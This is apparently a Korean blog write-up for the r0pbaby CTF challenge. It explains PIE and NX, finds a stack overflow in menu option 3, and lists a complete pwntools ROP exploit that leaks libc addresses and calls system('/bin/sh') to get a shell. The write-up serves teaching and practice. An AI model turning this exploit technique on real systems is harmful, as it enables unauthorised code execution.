r0pbaby

문제 바이너리다.


64비트용 바이너리로 ubuntu 64에서 실행했다.


checksec로 보호기법을 확인해봤다.

PIE, NX가 걸려있다.

검색을 해보면 짧게 설명한게 

PIE 보호기법은 공격시 바이너리 주소를 이용하지 못하도록 파일을 실행 할 때마다 해당 주소를 랜덤하게 바꿔주는 것이라고 한다.

즉 바이너리용 ASLR이라고 생각하면 된다.


그래서 이 문제를 풀려면 직접 offset을 다 구해서 풀어야 한다.


우선 바이너리를 실행시키면 아래와 같이 메뉴선택을 하는 부분이 나온다.

1번을 누르면 libc의 주소가 나오고, 2번을 누르면 내가 원하는 libc함수의 주소를 얻을 수 있다.

대놓고 rop를 하라는 뜻인거 같다.


3번을 누르면 스택에 값을 삽입하는데 "A"를 8개 삽입했더니 rbp가 "A" 8개로 덮여졌다.

즉 저기서 오버플로우가 일어나는 것이다.

공격벡터를 파악 했으므로 익스플로잇 코드를 작성해보자.


먼저 libc에서의 offset을 구해야한다.

system의 주소는 2번을 눌러서 구하면 되므로 패스하고(우선 offset을 구하기 위해 gdb에서 p system으로 구한다.),

/bin/sh의 문자열은 peda의 find기능을 이용해 찾도록 한다.

그리고 이제 system("/bin/sh")의 구조를 완성해주기 위한 pop rdi; ret 가젯을 구해야 한다.

난 rp++ 툴을 이용해 구했다.

많은 주소 중에 0x21102로 정했다.

이제 system()함수의 주소를 이용해 offset을 구한 후 익스 코드를 작성했다.


exploit code

from pwn import *

p = process('./r0pbaby')

libc_system = 0x45390 
libc_prr = 0x21102 
libc_binsh = 0x18cd57

print p.recv()
p.sendline("1")
libc = p.recvuntil("libc.so.6") + p.recvuntil("\n")
libc = int(libc.split("\n")[0].split(" ")[1], 16)
p.sendline("2")
print p.recv(1024)
p.sendline("system")
system = p.recvuntil("Enter symbol") + p.recvuntil("\n")
system = int(system.split("\n")[0].split(": ")[2], 16)

print "libc = {0}, system = {1}".format(hex(libc), hex(system))
binsh = system + (libc_binsh - libc_system)
prr = system - (libc_system - libc_prr)

payload = "A"*8 
payload += p64(prr)
payload += p64(binsh)
payload += p64(system)
p.sendline("3")
p.sendline("36")
p.sendline(payload)
p.interactive()



'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14

+ Recent posts